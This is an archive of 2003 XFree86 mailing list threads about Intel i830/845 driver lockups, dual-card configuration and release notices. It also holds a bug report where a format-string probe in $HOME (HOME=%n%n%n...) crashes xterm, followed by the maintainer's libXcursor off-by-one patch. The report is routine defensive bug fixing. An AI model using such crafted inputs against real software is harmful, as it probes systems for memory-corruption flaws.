On Sat, Sep 20, 2003 at 04:04:28AM +0200, [EMAIL PROTECTED] wrote: Good day lads. I just bought myself a new laptop for my birthday on the 21'st sep and I'm dissapointed to say that I am failing miserably in getting XFree86 working with the Intel 82855 GM 64Mb videboard. I downloaded the source version of the drivers from http://downloadfinder.intel.com (originally from dri.sourceforge.net) and followed the simple installation procedures without any problems. I then continued with making the necesary changes in XFree86Config as specified in ftp://aiedownload.intel.com/df-support/6185/ENG/readme.txt (the usual stuff, driver editing, etc). Now the weird part. when running XFree86 (via xinit but everything else is the same), XF86 exits with signal 11 without any warnings. I've been trying to fix this for hours to no avail, therefore I seek your expert help. The logfile can be located here, http://www.pulia.nu/tmp/XFree86.0.log An strace of the execution here, http://www.pulia.nu/tmp/xf_hang And my XF86Config file here, http://www.pulia.nu/tmp/XF86Config The laptop in question is an Acer TravelMate 290 (I seem to be the first person working on a page for linux-on-laptops on it) And in short, this is what is inside it: Processor: Mobile Intel Centrino 1.3GHz Chipset: ? Memory: 256Mb (expandable to xxxMb) Audio: Intel® 82801DB AC'97 (Rev 03) Video: Intel® 82852/82855 GM/GME 64Mb with TV-Out Display: 15 TFT, 1024x768 Network: RealTek RTL8139/810x familty and Intel® PRO/Wireless LAN 2100 3B PCI Mini adapter I'm using the Slackware distribution, version 9.0 with kernel 2.4.22, and XFree86 version 4.3.0. What you did wrong was to download the drivers from the Intel site. XFree86 4.3.0 and the Linux 2.4.22 kernel both include 855GM support without the need for any new drivers or patches. Last time I checked, the drivers on the Intel site are only for XFree86 4.2.x. My suggestion is to uninstall them. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] All annoying error in I830WaitLpRing() in some details
On Sat, Oct 04, 2003 at 07:43:29PM +0300, Alexey E. Suslikov wrote: is fixing Error in I830WaitLpRing() bug in plans of X developers? there are numerous related bug reports from all linux and bsd people. and this is LONG TERM bug. and it seems BOTH 845 and 830 affected. Try a recent development snapshot version. Most reports I've seen of this type of problem have been fixed there. The last known cause of this problem (and there have been several) was fixed after 4.3.0 was released. There might be some DRI-related problems remaining, but they wouldn't be relevant to your configuration. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] All annoying error in I830WaitLpRing() in some details
On Sun, Oct 05, 2003 at 01:38:27PM +0300, Alexey E. Suslikov wrote: is fixing Error in I830WaitLpRing() bug in plans of X developers? there are numerous related bug reports from all linux and bsd people. and this is LONG TERM bug. and it seems BOTH 845 and 830 affected. Try a recent development snapshot version. Most reports I've seen of this type of problem have been fixed there. The last known cause of this problem (and there have been several) was fixed after 4.3.0 was released. There might be some DRI-related problems remaining, but they wouldn't be relevant to your configuration. David hmmm... can you point me on some related commit? it is easy for me to apply some patches and rebuild, not to fetch all of the HEAD. Use 'cvs rlog', 'cvs rdiff', or browse at cvsweb.xfree86.org. I'd have to do the same to isolate the relevant patch. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] All annoying error in I830WaitLpRing() in some details
On Tue, Oct 07, 2003 at 05:16:28PM +0300, Alexey E. Suslikov wrote: Tuesday, October 7, 2003, 4:53:45 PM, you wrote: bang! this is it: the bug still exist, at least on i830m (like in my case). setting NoAccel true is turning off Xaa functions for first. linux people did so. i did too, but with no success :( I've tried very hard and I'm not seeing the problem any more. If you are still seeing it maybe you could do a little investigation into its cause? One thing you may want to try is setting pI830-NeedRingBufferLow = TRUE This isn't done for the i830 as it didn't seem to be necessary. ok. i will try and report as soon as possible. That shouldn't make any difference to the noaccel case, since the ring buffer isn't allocated then. Yes, turning XAA off will work around the problem. The LpRing is only used for that. no. as i described above, this recipe was digged from mailing list and solves the problem for some linux people. but not for me on OpenBSD and this guy on NetBSD. A couple of other things I can think of are 1) some subtle difference in the implementation of the agpgart support for those two platforms, or 2) the fact that the BIOS is executed via the emulator on the BSDs but uses vm86 mode on Linux. Does anyone running FreeBSD see the problem? If not, that should rule out 2). To take the agp support out of the picture, disable the HW cursor, and make sure the videoram is set to some amount lower than what the BIOS preallocates at boot time (e.g., 4096). From your noaccel log, the agp interface is only used to allocate the HW cursor space (because it needs a physical address). That means just adding 'Option SWCursor' to your Device section should be sufficient for this test. It would be very useful to try different OSs (Linux and one or more BSDs) on exactly the same machine, and see if the results were the same. It really has to be exactly the same machine to eliminate possible differences in BIOS and hardware revisions. The messages in your log: (WW) I810(0): PRB0_CTL (0x000b6007) indicates ring buffer enabled (WW) I810(0): PRB0_HEAD (0x) and PRB0_TAIL (0x00092660) indicate ring buffer not flushed are results of some sanity checks on the inherited state that the driver tries to make. It doesn't do anything other than report them. These don't seem to show up at initial startup, only after switching VT's back and forth. There seemed to be some evidence that some BIOSes did stuff that the driver didn't expect when switching back to text mode. I was never able to prove or disprove that theory, because I couldn't reproduce these lockups that others had reported. Maybe it depends on the BIOS rev or hardware rev. Maybe it's simply a bug lurking somewhere that doesn't affect most platforms. It's hard to say for sure at this point. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] All annoying error in I830WaitLpRing() in some details
On Tue, Oct 07, 2003 at 06:51:34PM -0700, Eric Anholt wrote: On Tue, 2003-10-07 at 18:19, David Dawes wrote: On Tue, Oct 07, 2003 at 05:16:28PM +0300, Alexey E. Suslikov wrote: Tuesday, October 7, 2003, 4:53:45 PM, you wrote: bang! this is it: the bug still exist, at least on i830m (like in my case). setting NoAccel true is turning off Xaa functions for first. linux people did so. i did too, but with no success :( I've tried very hard and I'm not seeing the problem any more. If you are still seeing it maybe you could do a little investigation into its cause? One thing you may want to try is setting pI830-NeedRingBufferLow = TRUE This isn't done for the i830 as it didn't seem to be necessary. ok. i will try and report as soon as possible. That shouldn't make any difference to the noaccel case, since the ring buffer isn't allocated then. Yes, turning XAA off will work around the problem. The LpRing is only used for that. no. as i described above, this recipe was digged from mailing list and solves the problem for some linux people. but not for me on OpenBSD and this guy on NetBSD. A couple of other things I can think of are 1) some subtle difference in the implementation of the agpgart support for those two platforms, or 2) the fact that the BIOS is executed via the emulator on the BSDs but uses vm86 mode on Linux. Does anyone running FreeBSD see the problem? If not, that should rule out 2). To take the agp support out of the picture, disable the HW cursor, and make sure the videoram is set to some amount lower than what the BIOS preallocates at boot time (e.g., 4096). From your noaccel log, the agp interface is only used to allocate the HW cursor space (because it needs a physical address). That means just adding 'Option SWCursor' to your Device section should be sufficient for this test. A couple of FreeBSDers have had problems with I830WaitLpRing errors on switching to a different VT. Can you confirm that this is one of the recent development snapshots? David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] All annoying error in I830WaitLpRing() in some details
On Wed, Oct 08, 2003 at 05:39:59PM +0300, Alexey E. Suslikov wrote: hmmm... yet another one on linux at 845G :) http://marc.theaimsgroup.com/?l=xfree86m=106561213221272w=2 That one is with DRI enabled, and it isn't clear if its is related to what you're seeing or not. It's also with XFree86 4.3. I haven't seen any reports from Linux users with symptoms that match what you have reported. If there are any Linux users reading this that do see the same symptoms, with a recent development snapshot, please send a note with details. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] All annoying error in I830WaitLpRing() in some details
On Wed, Oct 08, 2003 at 08:26:01PM +0300, Alexey E. Suslikov wrote: On Tue, Oct 07, 2003 at 09:19:42PM -0400, David Dawes wrote: On Tue, Oct 07, 2003 at 05:16:28PM +0300, Alexey E. Suslikov wrote: Tuesday, October 7, 2003, 4:53:45 PM, you wrote: bang! this is it: the bug still exist, at least on i830m (like in my case). setting NoAccel true is turning off Xaa functions for first. linux people did so. i did too, but with no success :( I've tried very hard and I'm not seeing the problem any more. If you are still seeing it maybe you could do a little investigation into its cause? One thing you may want to try is setting pI830-NeedRingBufferLow = TRUE This isn't done for the i830 as it didn't seem to be necessary. ok. i will try and report as soon as possible. That shouldn't make any difference to the noaccel case, since the ring buffer isn't allocated then. Yes, turning XAA off will work around the problem. The LpRing is only used for that. no. as i described above, this recipe was digged from mailing list and solves the problem for some linux people. but not for me on OpenBSD and this guy on NetBSD. A couple of other things I can think of are 1) some subtle difference in the implementation of the agpgart support for those two platforms, or 2) the fact that the BIOS is executed via the emulator on the BSDs but uses vm86 mode on Linux. Does anyone running FreeBSD see the problem? If not, that should rule out 2). To take the agp support out of the picture, disable the HW cursor, and make sure the videoram is set to some amount lower than what the BIOS preallocates at boot time (e.g., 4096). From your noaccel log, the agp interface is only used to allocate the HW cursor space (because it needs a physical address). That means just adding 'Option SWCursor' to your Device section should be sufficient for this test. It would be very useful to try different OSs (Linux and one or more BSDs) on exactly the same machine, and see if the results were the same. It really has to be exactly the same machine to eliminate possible differences in BIOS and hardware revisions. The messages in your log: (WW) I810(0): PRB0_CTL (0x000b6007) indicates ring buffer enabled (WW) I810(0): PRB0_HEAD (0x) and PRB0_TAIL (0x00092660) indicate ring buffer not flushed are results of some sanity checks on the inherited state that the driver tries to make. It doesn't do anything other than report them. These don't seem to show up at initial startup, only after switching VT's back and forth. There seemed to be some evidence that some BIOSes did stuff that the driver didn't expect when switching back to text mode. I was never able to prove or disprove that theory, because I couldn't reproduce these lockups that others had reported. Maybe it depends on the BIOS rev or hardware rev. Maybe it's simply a bug lurking somewhere that doesn't affect most platforms. It's hard to say for sure at this point. I made some tests on my NetBSD laptop : Dell Inspiron 2600 laptop (bios A08) Intel 82830MP Integrated Video (rev. 0x04) NetBSD 1.6ZC (-current 20031003) XFree86 4.3.99.13 (-current 20031007) * NoAccel ... ok * Accel ... KO * Accel + SWcursor + 4Mo ... KO * Accel + NeedRingBufferLow ... KO For the NoAccel case, i successfully switched about 20 times to the 4 text consoles and went back to X without any problem. But still no luck with acceleration enabled. my result with OpenBSD against -current (4.3.99.13) was completely equal to Nicolas' with NetBSD: I830WaitLpRing() lockup still here. Does that include the NoAccel case no longer locking up? If so, that's at least something positive. additionally, i have downloaded one of these widely available linux on livecd distros and have found 4.3.0 working. Also good news. I'd like suggest trying the emulator version of the int10 module. Normally you'd do this by renaming the /usr/X11R6/lib/modules/linux/libint10.a file so that the generic (emulator) version /usr/X11R6/lib/modules/libint10.a gets used instead. That might not be possible if you're running off a live CD. You might be able to achieve the same thing by copying the generic version to some writeable directory, and edit the XF86Config file to add that directory to the ModulePath before the default one. Checking the log file will allow you to confirm which module actually gets used. When you next try on OpenBSD, can you try a kernel without the agp support, to try eliminating that completely from the picture? you will find dmesg and XFree86.log below. as always, i have done a couple of terminal switching. this is it... confusing... It's a step in the right direction, at least. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86
[XFree86] XFree86 4.4 reminder
This is a reminder that the XFree86 4.4 release is planned for mid December 2003, with 15 October 2003 being the final date for the submission of new features. See the release plans page on our web site for further details of the schedule http://www.xfree86.org/releaseplans.html. The 4.3.99.14 development snapshot scheduled for 10 October 2003 will the the last of the automatically generated snapshots in this release cycle. Subsequent snapshots will be generated manually as required until the 4.4 release. Automatically generated snapshots will resume again shortly after the release. As usual, check our development snapshots web page for information about the latest available XFree86 development snapshot http://www.xfree86.org/develsnaps/. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] All annoying error in I830WaitLpRing() in some details
on OpenBSD, can you try a kernel without the agp support, to try eliminating that completely from the picture? will X11 run without agp support in the kernel? will specifying NoAccel and SWCursor be enough against such kernel? Yes, it will run without agp support. For your configuration, the only functionality that won't be available in that case is the HW cursor and XVideo. Acceleration is still available. Functionality that requires an AGP allocation will automatically be disabled when it's not available. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] All annoying error in I830WaitLpRing() in some details
the mode handling code in the driver to avoid the video BIOS. i can't: Fatal server error: xf86EnableIO: Failed to set IOPL for extended I/O Check that you have set 'machdep.allowaperture=1' in /etc/sysctl.conf and reboot your machine refer to xf86(4) for details I'm not familiar enough with how the agp support is handled on OpenBSD. On FreeBSD and Linux the agp/agpgart drivers can be removed/disabled without affecting the ability to access the boot-time allocated video memory. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] All annoying error in I830WaitLpRing() in some details
On Thu, Oct 16, 2003 at 04:46:23PM +0300, Alexey E. Suslikov wrote:
skipped...
this NoAccel bug is reproducible: X11 can blacks after first time i switching
consoles, sometimes - after 10 times, sometimes - even after 20 times.
looks like (available?) agp memory amount determines this... maybe not...
and i think this is a common bug for accel and non-accel setups: it doesn't
matter in the accel setup because the ring buffer bug takes precedence.
and this is common bug for linux and bsd: after the paranoid console
switching, 4.3.0 under linux also blacks its console out. but there is
no ring buffer bug as i mentioned before.
this blacking in non-accel looks like the pipe just deattaching from the
driver (or restoring its state incorrectly), so i can't see anything on the
X's tty while X runs completely normally (i.e. no lockups) and allows me to
switch to completely normally working text ttys.
Does further switching give you a working XFree86 display again?
no. once blacked it cannot be restored to normal operation. until i
reboot the box...
It just occurred to me where I had seen this type of black screen problem
before. It happens when using the vesa driver with an 845G. We work
around this in the i810 driver by remembering the initial video mode
and simply re-initialising it when exiting/VT switching instead of using
the VBE save/restore mechanism. This workaround is only actived for
845G hardware. You could try enabling it for all hardware by changing
this line in i830_driver.c from:
if (!I845G_VBE_WORKAROUND || !IS_845G(pI830)) {
to:
if (!I845G_VBE_WORKAROUND) {
David
--
David Dawes X-Oz Technologies
www.XFree86.org/~dawes www.x-oz.com
___
XFree86 mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] naming issues
On Sun, Oct 19, 2003 at 07:56:52PM +0200, Sebastian Gomez wrote: I'm using XFree86 with Debian in a iBook computer, and also in a iMac running Mac OS X and I think the project name is absolutely incoherent. I don't understand why the name XFree86 refers to an specific piece of hardware. The primary goal of the XFree86 Project is to produce XFree86and to make it the best freely-redistributable Open Source implementation of the X Window System by implementing it on as many hardware and software platforms as possible Launching X11 it's like putting a sticker of I love intel on my PPC computers. It's very easy to think another name less computer specific like XFree, XFreePC (yes, mac's are also personal computer's) or something else. I think you are looking at it all wrong. XFree86 is the trademarked name of the software we produce, and we've been using it for just over eleven years (since September 1992). We don't plan on changing our well-known and well-established name. Besides, what's wrong with acknowledging the Project's roots on a hardware platform that was considered at the time by most in the traditional X world to be irrelevant? Did you also know that XFree86 started on out on UNIX SYSV (SVR4 and SVR3) platforms, followed by 386BSD, Mach386, and then Linux, (and shortly after by Minix, Amoeba, SCO, OSF/1)? Congratulations on your great job and I hope you can solve this problem ;P Thanks, but we don't see it as a problem. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] RESOLVED: I830WaitLpRing() lockup
On Mon, Oct 20, 2003 at 11:13:12AM +0300, Alexey E. Suslikov wrote:
keywords: openbsd, x11, i830, ring buffer, lockup
It just occurred to me where I had seen this type of black screen problem
before. It happens when using the vesa driver with an 845G. We work
around this in the i810 driver by remembering the initial video mode
and simply re-initialising it when exiting/VT switching instead of using
the VBE save/restore mechanism. This workaround is only actived for
845G hardware. You could try enabling it for all hardware by changing
this line in i830_driver.c from:
if (!I845G_VBE_WORKAROUND || !IS_845G(pI830)) {
to:
if (!I845G_VBE_WORKAROUND) {
hmmm... my yesterdays reply was lost somewhere... ok, let's repeat :)
turning on I845G_VBE_WORKAROUND magically SOLVES the problem on
4.3.99.14 in both accel and noaccel setups:
VideoRam
default(8192) 2048 32768
Accelok ok ok
NoAccel ok ok ok
NoAccel+SWcursor ok ok ok
That's good news.
David, thanks a lot. if you have some spare time, can you write some
explanations on this case?
It's pretty much as I already said. Without this workaround, the driver
(just like the vesa driver) uses the video BIOS VBE save/restore calls
to save and restore the original video mode. Using these appears to be
a problem in at least some cases. I only ever saw the problem with 845G
systems, and so only enabled the workaround for that case.
The workaround instead saves the original mode number, and uses the
VBE set mode call to go back to that original mode when exiting or VT
switching.
In the 845G cases I saw, where even the generic vesa driver showed this
problem consistently at the first VT switch or exit, it must be a bug
in the video BIOSes. There are a lot of other variables in the i810/i830
driver case.
Anyway, I'll commit a fix to enable this workaround by default in all cases.
Thanks for the detailed testing and reporting.
David
--
David Dawes X-Oz Technologies
www.XFree86.org/~dawes www.x-oz.com
___
XFree86 mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] bug in the Xnet man page
On Fri, Oct 24, 2003 at 04:47:27AM +0200, RISCH Gilles wrote: Hi, ther is a little bug in the Xnet man page. -geometry W+H+X+Y is wrong, it must be -geometry WxH+X+Y Thanks, I've committed a fix. David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
[XFree86] Re: ftp/anoncvs server problems
On Sun, Oct 26, 2003 at 09:59:20PM -0500, David Dawes wrote: The server that hosts the XFree86 anoncvs, ftp, and cvsweb services died on Saturday morning. Most other services, like the mailing lists and the web site, should be unaffected. These services are now restored, thanks to the folks at ISC (www.isc.org) for working through the weekend to get a replacement server in place. David -- David Dawes Founder/committer/developer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Posible format string bug on Xterm Up to last version
On Fri, Nov 07, 2003 at 03:23:52AM -0300, Agustin wrote: Hello, im Agustin Gianni (gr00vy) from argentina. I would like to report a bug on xterm (the last version 181 and the one on Slackware 9.0). Since im not experienced on format bugs i couldnt make so much to try to make a fix o give more info about the bug. Thanks for the report. I've just traced through it, and it isn't a formatting bug, but an off-by-one bug in libXcursor that shows up when $HOME doesn't start with a '/'. This patch fixes it for me. Let me know if it does for you too. Index: xc/lib/Xcursor/library.c === RCS file: /home/x-cvs/xc/lib/Xcursor/library.c,v retrieving revision 1.2 diff -u -r1.2 library.c --- library.c 26 Jan 2003 03:22:42 - 1.2 +++ library.c 7 Nov 2003 17:48:21 - @@ -101,6 +101,9 @@ if (!home) return 0; homelen = strlen (home); + /* A '/' gets prepended if $HOME doesn't start with one. */ + if (home[0] != '/') + homelen++; dir++; dirlen--; } David [EMAIL PROTECTED]:/root# HOME=%n%n%n%n%n%n [EMAIL PROTECTED]:/root# xterm Segmentation fault [EMAIL PROTECTED]:/root# gdb xterm (gdb) r Starting program: /root/xterm-181/xterm Program received signal SIGSEGV, Segmentation fault. 0x4026e5bd in _int_malloc () from /lib/libc.so.6 (gdb) bt #0 0x4026e5bd in _int_malloc () from /lib/libc.so.6 #1 0x4026d6b5 in malloc () from /lib/libc.so.6 #2 0x4025c003 in __fopen_internal () from /lib/libc.so.6 #3 0x4025c0ce in fopen@@GLIBC_2.1 () from /lib/libc.so.6 #4 0x4001e47a in XcursorFilenameSave () from /usr/X11R6/lib/libXcursor.so.1 #5 0x4001e616 in XcursorLibraryLoadImages () from /usr/X11R6/lib/libXcursor.so.1 #6 0x4001e824 in XcursorShapeLoadImages () from /usr/X11R6/lib/libXcursor.so.1 #7 0x4001eb6e in XcursorTryShapeCursor () from /usr/X11R6/lib/libXcursor.so.1 #8 0x4012d628 in _XTryShapeCursor () from /usr/X11R6/lib/libX11.so.6 #9 0x4012d9e9 in XCreateGlyphCursor () from /usr/X11R6/lib/libX11.so.6 #10 0x4012de59 in XCreateFontCursor () from /usr/X11R6/lib/libX11.so.6 #11 0x0805f3ce in make_colored_cursor (cursorindex=68, fg=0, bg=16777215) at misc.c:216 #12 0x0805b578 in get_terminal () at main.c:2467 #13 0x0805b019 in main (argc=0, argv=0xb9e8) at main.c:2111 #14 0x4020dbb4 in __libc_start_main () from /lib/libc.so.6 (gdb) i r eax0x808e780134801280 ecx0x40327300 1077048064 edx0x40327354 1077048148 ebx0x40326234 1077043764 esp0xb650 0xb650 ebp0xb688 0xb688 esi0x0 0 edi0x0 0 eip0x4026e5bd 0x4026e5bd eflags 0x10206 66054 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 fctrl 0x37f895 fstat 0x0 0 ftag 0x 65535 fiseg 0x0 0 fioff 0x0 0 foseg 0x0 0 fooff 0x0 0 fop0x0 0 mxcsr 0x1f80 8064 orig_eax 0x -1 Best Regards Agustin Gianni Argentina PS: thanks to #linux and #cheese (specially df) ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86 -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [SOLVED] Re: [XFree86] Xkb problems in latest CVS?
On Fri, Nov 07, 2003 at 09:41:48PM +0200, Alon Weinstein wrote: Found a solution, though I'm not sure *why* this happens. I tried running xkbprint (basically just to see if I can get some error messages about xkb, because I guessed that's where the problem is from the logs), and got a message that it couldn't load libxkbfile.so.1 locate libxkbfile.so.1 gave me nothing, and locate libxkbfile gave me /usr/X11R6/lib/libxkbfile.a. Looking at /usr/X11R6/lib/ I found a few libxkbfile.so, libxkbfile.so.1 and libxkbfile.so.1.0 -- I symlinked /usr/X11R6/lib/libxkbfile.so.1 to /lib, restarted X, and voila -- works. What I don't understand is *why* that happend. Anyone? Most libraries are built as shared libraries now. Re-running 'ldconfig' to update the run-time loader's cache would have fixed this without creating symlinks. Maybe 'make install' should run the relevant 'ldconfig' on platforms that need it (when DESTDIR isn't set). David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Trident Blade, no screens
On Tue, Nov 11, 2003 at 01:27:54PM -0800, John Chandler wrote: When I my newly-installed RedHat system launches, X fails with this message: [...] (II) Primary Device is: PCI 00:08:0 (WW) TRIDENT: No matching Device section for instance (BusID PCI:1:0:0) found (EE) No devices detected. Fatal server error: no screens found (--) PCI:*(0:8:0) Silicon Integrated Systems [SiS] SiS300/305 PCI/AGP VGA Display Adapter rev 144, Mem @ 0xd000/27, 0xe000/17, I/O @ 0xdc00/7 (--) PCI: (1:0:0) Trident Microsystems CyberBlade/i1 rev 106, Mem @ 0xdd80/23, 0xde00/17, 0xdd00/23 The easiest way to deal with this would be to make the AGP video card the primary video card from your BIOS configuration (assuming that it has such an option). That way you'll be using the same card with XFree86 that you're booting on. The XFree86 server is showing the primary video (the one you're bootting up with) to currently be the on-board SiS video. Where do you have your monitor connected? If you want XFree86 to run on the Trident card without making it the primary you'll need to edit your XF86Config file to tell the trident driver which device it should be driving. You can do that by adding the following line to the relevant Device section of your XF86Config file: Busid 1:0:0 A second alternative is that you really want to be using the built-in SiS video. [We should make busid optional in cases like this where there is only one card the driver could possibly be wanting to use.] David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Trident Blade, no screens
On Wed, Nov 12, 2003 at 01:01:13AM -0800, John Chandler wrote: Thank you very much for your response. What you suggest had an effect, but not an entirely good one... David Dawes writes: On Tue, Nov 11, 2003 at 01:27:54PM -0800, John Chandler wrote: When I my newly-installed RedHat system launches, X fails with this message: [...] (II) Primary Device is: PCI 00:08:0 (WW) TRIDENT: No matching Device section for instance (BusID PCI:1:0:0) found (EE) No devices detected. Fatal server error: no screens found (--) PCI:*(0:8:0) Silicon Integrated Systems [SiS] SiS300/305 PCI/AGP VGA Display Adapter rev 144, Mem @ 0xd000/27, 0xe000/17, I/O @ 0xdc00/7 (--) PCI: (1:0:0) Trident Microsystems CyberBlade/i1 rev 106, Mem @ 0xdd80/23, 0xde00/17, 0xdd00/23 The easiest way to deal with this would be to make the AGP video card the primary video card from your BIOS configuration (assuming that it has such an option). That way you'll be using the same card with XFree86 that you're booting on. The XFree86 server is showing the primary video (the one you're bootting up with) to currently be the on-board SiS video. Where do you have your monitor connected? The monitor is not connected to the on-board video card, it is connected to the one that is mounted in a PCI slot. The on-board video has a very small amount of RAM and would only support Fisher-Price resolutions. Apparently the only thing I can do in the BIOS is specify which of the two to initialize first, I can't make the on-board one disappear entirely. One might argue that there are good reasons for that... If you want XFree86 to run on the Trident card without making it the primary you'll need to edit your XF86Config file to tell the trident driver which device it should be driving. You can do that by adding the following line to the relevant Device section of your XF86Config file: Busid 1:0:0 I tried this, and when I restarted the server from the command line, the screen went dark and never came back. I was able to do a ctrl-alt-f1 to get back to screen one where I was then able to do a ctr-c and abort the server. I thought the trouble might be that I hadn't rebooted, so I tried that. This time, the screen went dark and stayed dark. Any clue what I ought to do at this point? (I guess I first have to look up how to boot RedHat 9 without starting X...) A second alternative is that you really want to be using the built-in SiS video. I wish I had a decent on-board video interface. Based on what you've said, maybe it's the Trident that is on-board and the SiS is the external card? If that's the case, you need to modify your XF86Config to use the sis driver instead of the trident driver (and remove the 'busid' line you just added). [We should make busid optional in cases like this where there is only one card the driver could possibly be wanting to use.] I understand that it's not reasonable to expect you to comment on someone else's product, but maybe you have some idea why the X server used by the RH graphical install sequence seemed to choose the right card? I mean what could account for the different behavior -- it can't be that RH uses someone else's X server for installs, can it? Maybe their installer uses the vesa driver, which would handle the primary card. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Trident Blade, no screens
On Wed, Nov 12, 2003 at 08:04:16AM -0800, John Chandler wrote: David Dawes writes: On Wed, Nov 12, 2003 at 01:01:13AM -0800, John Chandler wrote: Thank you very much for your response. What you suggest had an effect, but not an entirely good one... David Dawes writes: On Tue, Nov 11, 2003 at 01:27:54PM -0800, John Chandler wrote: When I my newly-installed RedHat system launches, X fails with this message: [...] (II) Primary Device is: PCI 00:08:0 (WW) TRIDENT: No matching Device section for instance (BusID PCI:1:0:0) found (EE) No devices detected. Fatal server error: no screens found (--) PCI:*(0:8:0) Silicon Integrated Systems [SiS] SiS300/305 PCI/AGP VGA Display Adapter rev 144, Mem @ 0xd000/27, 0xe000/17, I/O @ 0xdc00/7 (--) PCI: (1:0:0) Trident Microsystems CyberBlade/i1 rev 106, Mem @ 0xdd80/23, 0xde00/17, 0xdd00/23 [...] If you want XFree86 to run on the Trident card without making it the primary you'll need to edit your XF86Config file to tell the trident driver which device it should be driving. You can do that by adding the following line to the relevant Device section of your XF86Config file: Busid 1:0:0 I tried this, and when I restarted the server from the command line, the screen went dark and never came back. I was able to do a ctrl-alt-f1 to get back to screen one where I was then able to do a ctr-c and abort the server. I thought the trouble might be that I hadn't rebooted, so I tried that. This time, the screen went dark and stayed dark. Any clue what I ought to do at this point? (I guess I first have to look up how to boot RedHat 9 without starting X...) A second alternative is that you really want to be using the built-in SiS video. I wish I had a decent on-board video interface. Based on what you've said, maybe it's the Trident that is on-board and the SiS is the external card? If that's the case, you need to modify your XF86Config to use the sis driver instead of the trident driver (and remove the 'busid' line you just added). [...] I don't have much info about the other driver. And of course, I've lost the docs for the add-on card, too. I'd look at the mfr's web site, but there's not much writing on the card, so I don't know *what* mfr. (It's amazing how worthless a card can become without docs.) What I do have is the XF86Config file that works with this add-on card. I attach it below, and perhaps it reveals something. That looks like an XFree86 3.3.x config file. A lot from the 3.3.x server that worked with this file would probably provide more info. I note that in the Graphics device sections, the VideoRam lines are commented out (I don't know why, and don't remember doing it), but it is my vague recollection that the on-board interface had 1/4 MB and the add-on had 32MB. Well, the primary card is the one that you get the BIOS boot messages on, and which Linux boots on. Since your monitor is plugged into the add-in PCI card, it's almost certain that it is the SiS card. So that's the driver you need to be using. The VideoRam lines usually should be commented out, so don't worry about that. I'm not up on which SiS cards are supported by the 4.3 sis driver, but since Thomas is following this thread, I'm sure he can help with that. Have you tried modifying your XFree86 4.x config to use the sis driver instead of the trident driver? David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Trident Blade, no screens
